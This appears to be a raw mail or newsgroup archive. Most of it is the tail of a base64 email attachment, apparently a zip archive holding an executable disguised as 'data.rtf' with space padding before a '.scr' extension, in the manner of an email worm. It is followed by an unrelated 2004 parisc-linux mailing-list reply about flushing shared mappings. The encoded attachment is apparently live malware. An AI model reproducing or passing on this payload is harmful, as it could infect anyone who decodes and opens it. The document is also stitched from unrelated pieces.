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
Iw6qEAjBiWYcF9/7dSZKfA4sA7ic8vdXZRtjhfqb+/QlSSdeiFtZ638dhZpslnxrrOyWCkQC
9zv5ThE1c+hq9gjgnzjc1aqhTcNgOo4dPSKRHGSEK1bixnOSMwNr2we84tNGyphKUZekD4uO
EwYY0NJ75CnOtudCWdCoGNDFAKx6ySH9tODWM0upDR0qepLdNbId4nRLjwAAAQACACAgEAAB
AAQA6AIAAAEAKAAAACAAAABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAAAAAAAMz//wBo
V1gAAAAAAICAgAD///8AwMDAAP8AAAAA//8AvwAAAAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAiIRIiIiIiIiIiIiIiIiIiIiE1VVVVVVVVVVVVVSUiIiIjRERERERERERERERSUiIi
I0RERERERFVUREVVUlIiIiNEiIiIREmZRESZlFJSIiIjRERERERElURESVRSUiIiI0SIiIiI
RElVVVlUUlIiIiNEREREREREmZmZVFJSIiIjRIiIiIiIRElUSVRSUiIiI0RERERERERElUlU
UlIiIiNEiIiIiIiIRElZVFJSIiIjREREREREREREmVRSUiIiI0SIiIiIiIiIRElEUlIiIiNE
RERERERERERERFJSIiIjRIiIiIiIiIiIiERSUiIiI0REREREREREREREUlIiIiNEiIiIiIiI
iIiIRFJSIiIjRERERERERERERERSUiIiI0QiIiIiRIiIiIhEUlIiIiNEOZJEQkRERERERFJS
IiIjRDIiIiJEiIiIiERSUiIiI0Q0QndyREREREREUlIiIiNEMiJ3ckSIiIiIRFJSIiIjRDRC
d3JERERERERSUiIiI0Q0QmZiREREREREUlIiIiNENEJmYkRERERERFJSIiIjRDMyIiJERERE
RERSUiIiI0REREREREREREREUlIiIiNCRCRCRCRCRCRCRDJSIiIjQkQkQkQkQkQkQkQyUiIi
IiQzQzQzQzQzQzQzQyIiIiIiIiIiIiIiIiIiIiIiIuAAAA/gAAAH4AAAB+AAAAfgAAAH4AAA
B+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfg
AAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB/gAAA//////oRzo
MEABacD9QwPABcM4niYooxADwfgQJf9/hwDDi0QkVQQS6VXs7FEHU1ZXM/8xiX381BUcYCAo
i/BoyMA3D7dFCFBkViYYIdhTkRUUMlAOECE7x4mKPHQqFhEMDVdogKzAagLxsBIRQP91bAyK
NAiIg/j7v1QBdQQzwOtB0Ns7A/d2GOhh/xwCmbkbAVLx+YuAjDAUA0M73h5y6I3M/FfhdWwI
fXgEii4JEWd6ObH8D5TYX14pW8myHIGMZAx8VnC+YAQMV42FnG/zoqZQamApFSysDT0oDYgs
4PtOjNcUvEb3AIB9/lyLNSTFPb/gReF0CiIlVwXWIQpo0LAvHYC93IlcoUI8ICH+NeGhORA0
YTAJamXoMrv+EFmTP70Kg1COyiaRIEGwBq9yRAhq2wUoxEaj5B/IFjyJPbcjLXRTFDTobEV2
dSLGAxU4NXxQUVoSCXVYloUSwHQFVE0TRhUjNBEUdRkPagHnMEgSAvTQkDEwwhAAtDgwQDKQ
CXQkEENVJ2yXzo5pz20KYQifdo9lIO9F727vY+9y73nscCtl/GTPJlftbyObTEQN1i/lFhTN
MGJKnwpT2WtZTrMnXC7zQ/NadjOoMXAq/8OFPDVkpy64Uw7KRoGfZ5loFXP5QlSRDoRrGQN1
+GVy9m8AbmZpZzl4LmRxbOEQQklOGEFSWRBGVgNQcm90ZWObLqN4tjFgXAAA4AHgAuAg4hDO
EQQN6Ba+EX2kDnsog0YiAYwoCRCJIBZJiRTAwp8BFYADbwgUB5ACZhPAAtAQCXBV/wO8CFIH
QQIGEwqOQigBdwFscBAon9EECBB5mYP0RPf9JhAihBDi947QAhCckU+9GAjwqwEZ0g+PA4Bc
eMBUB7ADrQRSAzjqrwAAAeAgcEAOS0VSTmBMMzIuZHFs4EbobwZzZUhhbhjtwFpyPml0OkZu
Fb6/KWELHEEdVp96R29mUudzUXVyY582Tzqpaw1iYWQWEElpbrZueko9dE2+ZClsXbMiRvFw
eUlSm+R0RkTAJFfBa293c0TfPuRj+ep5pTmgLRROYW1MhlBy8PJk45xMc2p2H0xpYjtTLz5U
UJNDz+5uNA0YTGG8RXLcXOvFjE11CHjMTgMAAAAAAAAAAAAAAAAAUEsBAhQACgAAAAAABIKI
MKOIHd6AcwAAgHMAAFcAAAAAAAAAAAAgAAAAAAAAAGRhdGEucnRmICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgLnNjclBLBQYAAAAAAQABAIUAAAD1cwAAAAA=

------=_NextPart_000_0016----=_NextPart_000_0016--




From - Thu Nov 08 21:31:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rmap: parisc __flush_dcache_page
Date: 08 Apr 2004 13:28:17 -0500
Lines: 31
Approved: news@gmane.org
Message-ID: <1081448897.2105.465.camel__24450.8214680993$1416623350$gmane$org@mulgrave>
References: <20040408151415.GB31667@dualathlon.random>
	<1081438124.2105.207.camel@mulgrave>
	<20040408153412.GD31667@dualathlon.random>
	<1081439244.2165.236.camel@mulgrave>
	<20040408161610.GF31667@dualathlon.random>
	<1081441791.2105.295.camel@mulgrave>
	<20040408171017.GJ31667@dualathlon.random>
	<1081446226.2105.402.camel@mulgrave>
	<20040408175158.GK31667@dualathlon.random>
	<1081447654.1885.430.camel@mulgrave> 
	<20040408181838.GN31667@dualathlon.random>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623350 8066 80.91.229.3 (22 Nov 2014 02:29:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:10 +0000 (UTC)
Cc: Hugh Dickins <hugh@veritas.com>,
	Linux Kernel <linux-kernel@vger.kernel.org>, parisc-linux@parisc-linux.org
To: Andrea Arcangeli <andrea@suse.de>
Original-X-From: James.Bottomley@SteelEye.com  Thu Apr  8 12:28:25 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id B63A848AA
	for <parisc-linux@parisc-linux.org>;
	Thu,  8 Apr 2004 12:28:24 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i38ISHa32629; Thu, 8 Apr 2004 14:28:17 -0400
In-Reply-To: <20040408181838.GN31667@dualathlon.random>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Apr 2004 18:28:25 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21340

On Thu, 2004-04-08 at 13:18, Andrea Arcangeli wrote:
> it enterely depends on the workload. On a desktop machine there may be
> only some hundred entries in those lists at maximum with glibc being the
> biggest offender:
> 
> cat /proc/*/maps | grep libc.so.6 | wc -l
> 
> with shared memory on some server there can be easily several thousand
> entries for some inode even on 64bit, but a timeslice was probably
> exaggerated (the timeslice was for the walking of the ptes in each
> mapping too, I don't think you need to look at every pte).

So you're worried about our code?  OK, if you look, you'll see we only
have to flush one address in the mmap_shared list, (which is usually the
long list).

I'd constructed it on the predicate that flushing a non-current space is
more expensive than finding a current one, but I can alter it to flush
the first vma it comes to with a present translation.

The mmap list is usually empty.  We only excite that case for multiple
private mappings of a file which for some reason gets updated.

